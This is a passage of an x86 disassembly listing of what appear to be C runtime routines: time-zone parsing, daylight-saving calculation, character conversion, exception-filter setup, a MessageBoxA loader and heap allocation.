XREF: sub_41BDF8+5Ej pop edi pop esi pop ebx pop ebp retn sub_41BDF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE6F proc near ; CODE XREF: sub_4180A6+3Fp ; sub_4181AA+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41BED3 pop ecx lea esi, [ebp+var_C] pop ecx push offset word_45E9D0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41D094 mov ds:dword_45E9F8, eax add esp, 18h movsx eax, ds:byte_45E9D2 mov ds:dword_45E9F0, eax pop edi movsx eax, ds:word_45E9D0 mov ds:dword_45E9F4, eax mov ds:dword_45E9FC, offset dword_45E9D4 mov eax, offset dword_45E9F0 pop esi leave retn sub_41BE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BED3 proc near ; CODE XREF: sub_41BE6F+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41BF21 cmp ebx, edi jz short loc_41BF1A lea edi, [ecx+3C00h] jmp short loc_41BF42 ; --------------------------------------------------------------------------- loc_41BF1A: ; CODE XREF: sub_41BED3+3Dj mov edi, 7FFFh jmp short loc_41BF42 ; --------------------------------------------------------------------------- loc_41BF21: ; CODE XREF: sub_41BED3+39j xor ebx, ebx cmp eax, ebx jnz short loc_41BF39 cmp edx, ebx jnz short loc_41BF39 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41BF84 ; --------------------------------------------------------------------------- loc_41BF39: ; CODE XREF: sub_41BED3+52j ; sub_41BED3+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41BF42: ; CODE XREF: sub_41BED3+45j ; sub_41BED3+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41BF5A: ; CODE XREF: sub_41BED3+A6j test ecx, esi jnz short loc_41BF7B mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41BF5A ; --------------------------------------------------------------------------- loc_41BF7B: ; CODE XREF: sub_41BED3+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41BF84: ; CODE XREF: sub_41BED3+64j pop edi pop esi pop ebx leave retn sub_41BED3 endp ; =============== S U B R O U T I N E ======================================= sub_41BF89 proc near ; CODE XREF: sub_415DDC+3AAp ; sub_415DDC+3CBp ... push 2 call sub_415C7E pop ecx retn sub_41BF89 endp ; =============== S U B R O U T I N E ======================================= sub_41BF92 proc near ; DATA XREF: sub_41BFD8o ; seg002:0042D440o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41BFB5 cmp dword ptr [eax+10h], 3 jnz short loc_41BFB5 cmp dword ptr [eax+14h], 19930520h jnz short loc_41BFB5 jmp sub_418C2C ; --------------------------------------------------------------------------- loc_41BFB5: ; CODE XREF: sub_41BF92+Dj ; sub_41BF92+13j ... mov eax, ds:dword_45EA00 test eax, eax jz short loc_41BFD2 push eax call sub_41C02E test eax, eax pop ecx jz short loc_41BFD2 push esi call ds:dword_45EA00 jmp short loc_41BFD4 ; --------------------------------------------------------------------------- loc_41BFD2: ; CODE XREF: sub_41BF92+2Aj ; sub_41BF92+35j xor eax, eax loc_41BFD4: ; CODE XREF: sub_41BF92+3Ej pop esi retn 4 sub_41BF92 endp ; =============== S U B R O U T I N E ======================================= sub_41BFD8 proc near ; DATA XREF: seg002:00421020o push offset sub_41BF92 call ds:dword_41F01C ; SetUnhandledExceptionFilter mov ds:dword_45EA00, eax retn sub_41BFD8 endp ; =============== S U B R O U T I N E ======================================= sub_41BFE9 proc near ; DATA XREF: seg002:00421038o push ds:dword_45EA00 call ds:dword_41F01C ; SetUnhandledExceptionFilter retn sub_41BFE9 endp ; =============== S U B R O U T I N E ======================================= sub_41BFF6 proc near ; CODE XREF: sub_41847E+6Bp ; sub_41898F+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0A70000h call far ptr 0F633h:274C085h mov eax, esi pop esi retn sub_41BFF6 endp ; =============== S U B R O U T I N E ======================================= sub_41C012 proc near ; CODE XREF: sub_41898F+73p ; sub_41898F+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 0A70000h outsd test eax, eax jz short loc_41C02A xor esi, esi loc_41C02A: ; CODE XREF: sub_41C012+14j mov eax, esi pop esi retn sub_41C012 endp ; =============== S U B R O U T I N E ======================================= sub_41C02E proc near ; CODE XREF: sub_41898F+15Bp ; sub_41BF92+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 0A70000h lodsb test eax, eax jz short loc_41C042 xor esi, esi loc_41C042: ; CODE XREF: sub_41C02E+10j mov eax, esi pop esi retn sub_41C02E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418C2C loc_41C046: ; CODE XREF: sub_418C2C:loc_418C7Dj push 0Ah call sub_41AFA9 push 16h call sub_41D327 pop ecx pop ecx push 3 call sub_4158C8 ; END OF FUNCTION CHUNK FOR sub_418C2C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C05D proc near ; CODE XREF: sub_418DCD+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41C080 cmp [ebp+arg_8], ebx jz short loc_41C080 mov al, [esi] cmp al, bl jnz short loc_41C086 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41C080 mov [eax], bx loc_41C080: ; CODE XREF: sub_41C05D+Cj ; sub_41C05D+11j ... xor eax, eax loc_41C082: ; CODE XREF: sub_41C05D+42j ; sub_41C05D+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C086: ; CODE XREF: sub_41C05D+17j cmp ds:dword_45E898, ebx jnz short loc_41C0A1 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41C09C movzx ax, al mov [ecx], ax loc_41C09C: ; CODE XREF: sub_41C05D+36j ; sub_41C05D+C0j push 1 pop eax jmp short loc_41C082 ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41C05D+2Fj mov ecx, ds:off_42D0F0 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41C0FE mov eax, ds:dword_42D2FC cmp eax, 1 jle short loc_41C0E5 cmp [ebp+arg_8], eax jl short loc_41C0EF xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push ds:dword_45E8A8 call ds:dword_41F12C ; MultiByteToWideChar test eax, eax mov eax, ds:dword_42D2FC jnz short loc_41C082 loc_41C0E5: ; CODE XREF: sub_41C05D+5Cj cmp [ebp+arg_8], eax jb short loc_41C0EF cmp [esi+1], bl jnz short loc_41C082 loc_41C0EF: ; CODE XREF: sub_41C05D+61j ; sub_41C05D+8Bj ... mov ds:dword_45E804, 2Ah or eax, 0FFFFFFFFh jmp short loc_41C082 ; --------------------------------------------------------------------------- loc_41C0FE: ; CODE XREF: sub_41C05D+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push ds:dword_45E8A8 call ds:dword_41F12C ; MultiByteToWideChar test eax, eax jnz loc_41C09C jmp short loc_41C0EF sub_41C05D endp ; =============== S U B R O U T I N E ======================================= sub_41C125 proc near ; CODE XREF: sub_418DCD+76p ; sub_418DCD+88p ... arg_0 = dword ptr 4 cmp ds:dword_42D2FC, 1 jle short loc_41C13C push 8 push [esp+4+arg_0] call sub_4165E6 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41C13C: ; CODE XREF: sub_41C125+7j mov eax, [esp+arg_0] mov ecx, ds:off_42D0F0 mov al, [ecx+eax*2] and eax, 8 retn sub_41C125 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C150 proc near ; CODE XREF: sub_418DCD+797p ; sub_418DCD+7E7p cmp cl, 40h jnb short loc_41C16A cmp cl, 20h jnb short loc_41C160 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41C160: ; CODE XREF: sub_41C150+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41C16A: ; CODE XREF: sub_41C150+3j xor eax, eax xor edx, edx retn sub_41C150 endp ; =============== S U B R O U T I N E ======================================= sub_41C16F proc near ; CODE XREF: sub_419843+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41C1BB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41C18D test al, 80h jz short loc_41C1BB test al, 2 jnz short loc_41C1BB loc_41C18D: ; CODE XREF: sub_41C16F+14j cmp dword ptr [esi+8], 0 jnz short loc_41C19A push esi call sub_41B0FC pop ecx loc_41C19A: ; CODE XREF: sub_41C16F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41C1AA cmp dword ptr [esi+4], 0 jnz short loc_41C1BB inc eax mov [esi], eax loc_41C1AA: ; CODE XREF: sub_41C16F+30j test byte ptr [esi+0Ch], 40h jz short loc_41C1C1 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41C1C7 inc eax mov [esi], eax loc_41C1BB: ; CODE XREF: sub_41C16F+9j ; sub_41C16F+18j ... or eax, 0FFFFFFFFh loc_41C1BE: ; CODE XREF: sub_41C16F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41C1C1: ; CODE XREF: sub_41C16F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41C1C7: ; CODE XREF: sub_41C16F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41C1BE sub_41C16F endp ; =============== S U B R O U T I N E ======================================= sub_41C1DD proc near ; CODE XREF: seg000:loc_4198BDp cmp ds:dword_45EAC0, 0 jnz short locret_41C1F1 call sub_41C1F2 inc ds:dword_45EAC0 locret_41C1F1: ; CODE XREF: sub_41C1DD+7j retn sub_41C1DD endp ; =============== S U B R O U T I N E ======================================= sub_41C1F2 proc near ; CODE XREF: sub_41C1DD+9p var_4 = dword ptr -4 arg_C = byte ptr 10h push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov ds:dword_45EA08, ebp mov ds:dword_42DB48, ebx mov ds:dword_42DB38, ebx call sub_41D499 mov esi, eax pop ecx cmp esi, ebp jnz loc_41C31B push offset dword_45EA10 call near ptr 0A70000h mov bh, 3Bh retn ; --------------------------------------------------------------------------- jz loc_41C44A mov eax, ds:dword_45EA10 mov ecx, ds:dword_45EA64 imul eax, 3Ch cmp ds:word_45EA56, bp push 1 pop edx mov ds:dword_42DAA0, eax mov ds:dword_45EA08, edx jz short loc_41C269 mov esi, ecx imul esi, 3Ch add eax, esi mov ds:dword_42DAA0, eax loc_41C269: ; CODE XREF: sub_41C1F2+69j cmp ds:word_45EAAA, bp jz short loc_41C28D mov eax, ds:dword_45EAB8 cmp eax, ebp jz short loc_41C28D sub eax, ecx mov ds:dword_42DAA4, edx imul eax, 3Ch mov ds:dword_42DAA8, eax jmp short loc_41C299 ; --------------------------------------------------------------------------- loc_41C28D: ; CODE XREF: sub_41C1F2+7Ej ; sub_41C1F2+87j mov ds:dword_42DAA4, ebp mov ds:dword_42DAA8, ebp loc_41C299: ; CODE XREF: sub_41C1F2+99j lea eax, [esp+14h+var_4] mov esi, ds:dword_41F128 push eax push ebp push 3Fh mov edi, 220h push ds:off_42DB2C push ebx push offset dword_45EA14 push edi push ds:dword_45E8A8 call esi ; dword_41F128 test eax, eax jz short loc_41C2D6 cmp dword ptr [esp+arg_C], ebp jnz short loc_41C2D6 mov eax, ds:off_42DB2C and byte ptr [eax+3Fh], 0 jmp short loc_41C2DE ; --------------------------------------------------------------------------- loc_41C2D6: ; CODE XREF: sub_41C1F2+D1j ; sub_41C1F2+D7j mov eax, ds:off_42DB2C and byte ptr [eax], 0 loc_41C2DE: ; CODE XREF: sub_41C1F2+E2j lea eax, [esp+arg_C] push eax push ebp push 3Fh push ds:off_42DB30 push ebx push offset dword_45EA68 push edi push ds:dword_45E8A8 call esi ; dword_41F128 test eax, eax jz loc_41C442 cmp [esp+14h+var_4], ebp jnz loc_41C442 mov eax, ds:off_42DB30 and byte ptr [eax+3Fh], 0 jmp loc_41C44A ; --------------------------------------------------------------------------- loc_41C31B: ; CODE XREF: sub_41C1F2+2Dj cmp byte ptr [esi], 0 jz loc_41C44A mov eax, ds:dword_45EABC cmp eax, ebp jz short loc_41C33E push eax push esi call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41C44A loc_41C33E: ; CODE XREF: sub_41C1F2+139j push ds:dword_45EABC call sub_413ED3 push esi call sub_413DB0 inc eax push eax call sub_413E5F add esp, 0Ch cmp eax, ebp mov ds:dword_45EABC, eax jz loc_41C44A push esi push eax call sub_413CC0 push 3 push esi push ds:off_42DB2C call sub_414DD0 mov eax, ds:off_42DB2C add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41C393 push 1 inc esi pop edi loc_41C393: ; CODE XREF: sub_41C1F2+19Bj push esi call sub_413A94 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov ds:dword_42DAA0, ecx loc_41C3AA: ; CODE XREF: sub_41C1F2+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41C3B8 cmp al, bl jl short loc_41C3BB cmp al, 39h jg short loc_41C3BB loc_41C3B8: ; CODE XREF: sub_41C1F2+1BCj inc esi jmp short loc_41C3AA ; --------------------------------------------------------------------------- loc_41C3BB: ; CODE XREF: sub_41C1F2+1C0j ; sub_41C1F2+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41C40E inc esi push esi call sub_413A94 imul eax, 3Ch pop ecx mov ecx, ds:dword_42DAA0 add ecx, eax mov ds:dword_42DAA0, ecx loc_41C3D9: ; CODE XREF: sub_41C1F2+1F2j mov al, [esi] cmp al, bl jl short loc_41C3E6 cmp al, 39h jg short loc_41C3E6 inc esi jmp short loc_41C3D9 ; --------------------------------------------------------------------------- loc_41C3E6: ; CODE XREF: sub_41C1F2+1EBj ; sub_41C1F2+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41C40E inc esi push esi call sub_413A94 pop ecx mov ecx, ds:dword_42DAA0 add ecx, eax mov ds:dword_42DAA0, ecx loc_41C401: ; CODE XREF: sub_41C1F2+21Aj mov al, [esi] cmp al, bl jl short loc_41C40E cmp al, 39h jg short loc_41C40E inc esi jmp short loc_41C401 ; --------------------------------------------------------------------------- loc_41C40E: ; CODE XREF: sub_41C1F2+1CCj ; sub_41C1F2+1F7j ... cmp edi, ebp jz short loc_41C41A neg ecx mov ds:dword_42DAA0, ecx loc_41C41A: ; CODE XREF: sub_41C1F2+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov ds:dword_42DAA4, eax jz short loc_41C442 push 3 push esi push ds:off_42DB30 call sub_414DD0 mov eax, ds:off_42DB30 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41C44A ; --------------------------------------------------------------------------- loc_41C442: ; CODE XREF: sub_41C1F2+10Bj ; sub_41C1F2+115j ... mov eax, ds:off_42DB30 and byte ptr [eax], 0 loc_41C44A: ; CODE XREF: sub_41C1F2+40j ; sub_41C1F2+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41C1F2 endp ; =============== S U B R O U T I N E ======================================= sub_41C450 proc near ; CODE XREF: seg000:00419923p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp ds:dword_42DAA4, edi jnz short loc_41C464 loc_41C45D: ; CODE XREF: sub_41C450+148j ; sub_41C450+150j ... xor eax, eax jmp loc_41C5B0 ; --------------------------------------------------------------------------- loc_41C464: ; CODE XREF: sub_41C450+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, ds:dword_42DB38 jnz short loc_41C482 cmp eax, ds:dword_42DB48 jz loc_41C584 loc_41C482: ; CODE XREF: sub_41C450+24j cmp ds:dword_45EA08, edi jz loc_41C55A movzx ecx, ds:word_45EAB6 push ecx cmp ds:word_45EAA8, di movzx ecx, ds:word_45EAB4 push ecx movzx ecx, ds:word_45EAB2 push ecx movzx ecx, ds:word_45EAB0 push ecx jnz short loc_41C4D4 movzx ecx, ds:word_45EAAC push edi push ecx movzx ecx, ds:word_45EAAE push ecx movzx ecx, ds:word_45EAAA push ecx push eax push ebx jmp short loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C4D4: ; CODE XREF: sub_41C450+65j movzx ecx, ds:word_45EAAE push ecx push edi movzx ecx, ds:word_45EAAA push edi push ecx push eax push edi loc_41C4E8: ; CODE XREF: sub_41C450+82j push ebx call sub_41C5FC movzx eax, ds:word_45EA62 add esp, 2Ch cmp ds:word_45EA54, di push eax movzx eax, ds:word_45EA60 push eax movzx eax, ds:word_45EA5E push eax movzx eax, ds:word_45EA5C push eax jnz short loc_41C542 movzx eax, ds:word_45EA58 push edi push eax movzx eax, ds:word_45EA5A push eax movzx eax, ds:word_45EA56 push eax push dword ptr [esi+14h] push ebx loc_41C537: ; CODE XREF: sub_41C450+108j push edi call sub_41C5FC add esp, 2Ch jmp short loc_41C584 ; --------------------------------------------------------------------------- loc_41C542: ; CODE XREF: sub_41C450+C8j movzx eax, ds:word_45EA5A push eax push edi movzx eax, ds:word_45EA56 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41C537 ; --------------------------------------------------------------------------- loc_41C55A: ; CODE XREF: sub_41C450+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41C5FC push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41C5FC add esp, 58h loc_41C584: ; CODE XREF: sub_41C450+2Cj ; sub_41C450+F0j mov edx, ds:dword_42DB3C mov eax, ds:dword_42DB4C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41C5B4 cmp ecx, edx jl loc_41C45D cmp ecx, eax jg loc_41C45D cmp ecx, edx jle short loc_41C5C8 cmp ecx, eax jge short loc_41C5C8 loc_41C5AE: ; CODE XREF: sub_41C450+166j ; sub_41C450+16Aj mov eax, ebx loc_41C5B0: ; CODE XREF: sub_41C450+Fj ; sub_41C450+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41C5B4: ; CODE XREF: sub_41C450+144j cmp ecx, eax jl short loc_41C5AE cmp ecx, edx jg short loc_41C5AE cmp ecx, eax jle short loc_41C5C8 cmp ecx, edx jl loc_41C45D loc_41C5C8: ; CODE XREF: sub_41C450+158j ; sub_41C450+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41C5EF xor ecx, ecx cmp eax, ds:dword_42DB40 setnl cl loc_41C5EB: ; CODE XREF: sub_41C450+1AAj mov eax, ecx jmp short loc_41C5B0 ; --------------------------------------------------------------------------- loc_41C5EF: ; CODE XREF: sub_41C450+18Ej xor ecx, ecx cmp eax, ds:dword_42DB50 setl cl jmp short loc_41C5EB sub_41C450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5FC proc near ; CODE XREF: sub_41C450+99p ; sub_41C450+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41C697 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41C627 shl esi, 2 mov eax, ds:dword_42DB50[esi] jmp short loc_41C630 ; --------------------------------------------------------------------------- loc_41C627: ; CODE XREF: sub_41C5FC+1Ej shl esi, 2 mov eax, ds:dword_42DB84[esi] loc_41C630: ; CODE XREF: sub_41C5FC+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_41C66A imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41C674 ; --------------------------------------------------------------------------- loc_41C66A: ; CODE XREF: sub_41C5FC+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41C674: ; CODE XREF: sub_41C5FC+6Cj cmp [ebp+arg_10], 5 jnz short loc_41C6B2 cmp [ebp+arg_8], 0 jnz short loc_41C688 mov esi, ds:dword_42DB54[esi] jmp short loc_41C68E ; --------------------------------------------------------------------------- loc_41C688: ; CODE XREF: sub_41C5FC+82j mov esi, ds:dword_42DB88[esi] loc_41C68E: ; CODE XREF: sub_41C5FC+8Aj cmp ecx, esi jle short loc_41C6B2 sub ecx, 7 jmp short loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C697: ; CODE XREF: sub_41C5FC+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41C6A8 mov ecx, ds:dword_42DB50[eax*4] jmp short loc_41C6AF ; --------------------------------------------------------------------------- loc_41C6A8: ; CODE XREF: sub_41C5FC+A1j mov ecx, ds:dword_42DB84[eax*4] loc_41C6AF: ; CODE XREF: sub_41C5FC+AAj add ecx, [ebp+arg_18] loc_41C6B2: ; CODE XREF: sub_41C5FC+7Cj ; sub_41C5FC+94j ... cmp [ebp+arg_0], 1 jnz short loc_41C6E3 mov eax, [ebp+arg_1C] mov ds:dword_42DB3C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov ds:dword_42DB38, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_42DB40, eax jmp short loc_41C738 ; --------------------------------------------------------------------------- loc_41C6E3: ; CODE XREF: sub_41C5FC+BAj mov eax, [ebp+arg_1C] mov ds:dword_42DB4C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, ds:dword_42DAA8 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_42DB50, eax jns short loc_41C71B add eax, 5265C00h dec ecx mov ds:dword_42DB50, eax jmp short loc_41C72C ; --------------------------------------------------------------------------- loc_41C71B: ; CODE XREF: sub_41C5FC+110j mov edx, 5265C00h cmp eax, edx jl short loc_41C732 sub eax, edx inc ecx mov ds:dword_42DB50, eax loc_41C72C: ; CODE XREF: sub_41C5FC+11Dj mov ds:dword_42DB4C, ecx loc_41C732: ; CODE XREF: sub_41C5FC+126j mov ds:dword_42DB48, ebx loc_41C738: ; CODE XREF: sub_41C5FC+E5j pop esi pop ebx pop ebp retn sub_41C5FC endp ; =============== S U B R O U T I N E ======================================= sub_41C73C proc near ; CODE XREF: sub_41A852+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41C74D add esp, 0Ch retn sub_41C73C endp ; =============== S U B R O U T I N E ======================================= sub_41C74D proc near ; CODE XREF: sub_41C73C+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test ds:byte_45FD41[eax], cl jnz short loc_41C77A cmp [esp+arg_4], 0 jz short loc_41C773 movzx eax, ds:word_42D0FA[eax*2] and eax, [esp+arg_4] jmp short loc_41C775 ; --------------------------------------------------------------------------- loc_41C773: ; CODE XREF: sub_41C74D+16j xor eax, eax loc_41C775: ; CODE XREF: sub_41C74D+24j test eax, eax jnz short loc_41C77A retn ; --------------------------------------------------------------------------- loc_41C77A: ; CODE XREF: sub_41C74D+Fj ; sub_41C74D+2Aj push 1 pop eax retn sub_41C74D endp ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp ds:dword_45EAC4, ebx push esi push edi jnz short loc_41C7CD push offset aUser32_dll ; "user32.dll" call ds:dword_41F0AC ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_41C803 mov esi, ds:dword_41F0B0 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_41F0B0 test eax, eax mov ds:dword_45EAC4, eax jz short loc_41C803 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; dword_41F0B0 push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_45EAC8, eax call esi ; dword_41F0B0 mov ds:dword_45EACC, eax loc_41C7CD: ; CODE XREF: seg000:0041C789j mov eax, ds:dword_45EAC8 test eax, eax jz short loc_41C7EC call eax ; dword_45EAC8 mov ebx, eax test ebx, ebx jz short loc_41C7EC mov eax, ds:dword_45EACC test eax, eax jz short loc_41C7EC push ebx call eax ; dword_45EACC mov ebx, eax loc_41C7EC: ; CODE XREF: seg000:0041C7D4j ; seg000:0041C7DCj ... push dword ptr [esp+18h] push dword ptr [esp+18h] push dword ptr [esp+18h] push ebx call ds:dword_45EAC4 loc_41C7FF: ; CODE XREF: seg000:0041C805j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41C803: ; CODE XREF: seg000:0041C79Aj ; seg000:0041C7B1j xor eax, eax jmp short loc_41C7FF ; =============== S U B R O U T I N E ======================================= sub_41C807 proc near ; CODE XREF: sub_41B166+22p ; sub_41B166+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_41C827 test esi, esi jnz short loc_41C821 push 1 pop esi loc_41C821: ; CODE XREF: sub_41C807+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_41C827: ; CODE XREF: sub_41C807+11j ; sub_41C807+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41C858 cmp ebx, ds:dword_42D30C ja short loc_41C843 push ebx call sub_416EE3 mov edi, eax pop ecx test edi, edi jnz short loc_41C86E loc_41C843: ; CODE XREF: sub_41C807+2Dj push esi push 8 push ds:dword_45FE60 call ds:dword_41F140 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_41C87A loc_41C858: ; CODE XREF: sub_41C807+25j cmp ds:dword_45E864, 0 jz short loc_41C87A push esi call sub_416AF8 test eax, eax pop ecx jz short loc_41C880 jmp short loc_41C827 ; --------------------------------------------------------------------------- loc_41C86E: ; CODE XREF: sub_41C807+3Aj push ebx push 0 push edi call sub_413630 add esp, 0Ch loc_41C87A: ; CODE XREF: sub_41C807+4Fj ; sub_41C807+58j mov eax, edi loc_41C87C: ; CODE XREF: sub_41C807+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41C880: ; CODE XREF: sub_41C807+63j xor eax, eax jmp short loc_41C87C sub_41C807 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B20B loc_41C884: ; CODE XREF: sub_41B20B+Ej push esi push edi push 3 xor edi, edi pop esi cmp ds:dword_45FB00, esi jle short loc_41C8D7 loc_41C893: ; CODE XREF: sub_41B20B+16CAj mov eax, ds:dword_45EAF0 mov eax, [eax+esi*4] test eax, eax jz short loc_41C8CE test byte ptr [eax+0Ch], 83h jz short loc_41C8B2 push eax call sub_413C00 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41C8B2 inc edi loc_41C8B2: ; CODE XREF: sub_41B20B+1698j ; sub_41B20B+16A4j cmp esi, 14h jl short loc_41C8CE mov eax, ds:dword_45EAF0 push dword ptr [eax+esi*4] call sub_413ED3 mov eax, ds:dword_45EAF0 pop ecx and dword ptr [eax+esi*4], 0 loc_41C8CE: ; CODE XREF: sub_41B20B+1692j ; sub_41B20B+16AAj inc esi cmp esi, ds:dword_45FB00 jl short loc_41C893 loc_41C8D7: ; CODE XREF: sub_41B20B+1686j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41B20B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8DC proc near ; CODE XREF: sub_41B5EA+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_413E30 push ebx mov 